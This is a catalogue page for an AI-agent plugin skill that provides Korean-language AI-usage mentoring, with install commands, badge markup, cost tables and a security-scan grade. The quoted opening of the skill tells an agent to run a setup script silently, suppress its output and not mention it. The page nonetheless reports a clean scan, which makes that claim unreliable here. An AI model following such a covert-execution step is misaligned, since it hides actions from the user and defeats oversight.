Getting it into your agent
This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.
/plugin marketplace add fivetaku/vibe-sunsang/plugin install vibe-sunsangWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-mentor)<a href="https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-mentor"><img src="https://agentmods.dev/badge/skills/fivetaku/vibe-sunsang/vibe-sunsang-mentor/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-mentor"><img src="https://agentmods.dev/badge/skills/fivetaku/vibe-sunsang/vibe-sunsang-mentor.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00000 | $0.04808 |
| Opus 5 | $0.00000 | $0.02404 |
| Sonnet 5 | $0.00000 | $0.00962 |
| Haiku 4.5 | $0.00000 | $0.00481 |
Grade A, and why
vibe-sunsang-mentor scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 13d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 290 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.
Mentor - AI 활용 멘토 스킬
비개발자를 위한 AI 활용 멘토링 & 코칭 세션 (워크스페이스 유형별 맞춤, v2 6축 분석)
참조 경로
대화 로그: "$HOME/vibe-sunsang/conversations/"
지식 베이스: ${CLAUDE_PLUGIN_ROOT}/skills/vibe-sunsang-knowledge/references/
유형 설정: "$HOME/vibe-sunsang/config/workspace_types.json"
결과 저장: "$HOME/vibe-sunsang/exports/"
v2 레벨 시스템 참조
6대 기술 차원
| 코드 | 기술 차원 | 한 줄 정의 |
|---|---|---|
| DECOMP | 작업 분해 | 복잡한 요청을 AI가 처리 가능한 단위로 나누는 능력 |
| VERIFY | 검증 전략 | AI 출력물을 비판적으로 검토하고 품질을 확인하는 능력 |
| ORCH | 오케스트레이션 | 도구, 에이전트, 워크플로우를 조합하여 활용하는 능력 |
| FAIL | 실패 대응 | 오류, 한계, 예상치 못한 결과에 대처하는 능력 |
| CTX | 맥락 관리 | AI에게 적절한 배경 정보, 제약 조건, 목표를 제공하는 능력 |
| META | 메타인지 | 자신의 AI 활용 패턴을 인식하고 전략적으로 조정하는 능력 |
모드별 6축 매핑
| 모드 | 중심 축 | 가중치 배분 |
|---|---|---|
| A: 요청 품질 코칭 | DECOMP + CTX | DECOMP 35%, CTX 35%, 나머지 4축 각 7.5% |
| B: 안티패턴 진단 | FAIL + VERIFY | FAIL 35%, VERIFY 35%, 나머지 4축 각 7.5% |
| C: 개념 학습 | META | META 50%, 나머지 5축 각 10% |
| D: 종합 코칭 | 6축 전체 | 유형별 동적 가중치 적용 (아래 표 참조) |
유형별 동적 가중치 (모드 D 전용)
| 기술 차원 | Builder | Explorer | Designer | Operator |
|---|---|---|---|---|
| DECOMP | 25% | 15% | 20% | 15% |
| VERIFY | 25% | 15% | 15% | 20% |
| ORCH | 15% | 10% | 10% | 25% |
| FAIL | 15% | 20% | 10% | 20% |
| CTX | 10% | 20% | 25% | 10% |
| META | 10% | 20% | 20% | 10% |
4유형별 레벨명 테이블 (7단계)
| 레벨 | Builder | Explorer | Designer | Operator | 서사 단계 |
|---|---|---|---|---|---|
| L1 | Observer (관찰자) | Asker (질문자) | Dreamer (꿈꾸는 사람) | User (사용자) | 수동 |
| L2 | Tinkerer (만지작거리는 사람) | Curious (호기심 많은 사람) | Sketcher (스케치하는 사람) | Repeater (반복자) | 수동→능동 |
| L3 | Collaborator (협력자) | Digger (파헤치는 사람) | Shaper (다듬는 사람) | Optimizer (최적화자) | 능동 |
| L4 | Pilot (조종사) | Investigator (탐구자) | Planner (설계자) | Builder (구축자) | 능동→주도 |
| L5 | Architect (설계자) | Analyst (분석가) | Strategist (전략가) | Engineer (엔지니어) | 주도 |
| L6 | Conductor (지휘자) | Synthesizer (통합자) | Director (감독) | Orchestrator (오케스트레이터) | 주도→창조 |
| L7 | Forgemaster (대장장이) | Scholar (학자) | Visionary (비전가) | Automator (자동화 마스터) | 창조 |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 13d ago First seen · 290 lines · 0 tokens per session scan A 82627fbc6b96
vibe-sunsang-mentor is a skill published in the GitHub repository fivetaku/vibe-sunsang (186 stars, last pushed 12d ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 4,808 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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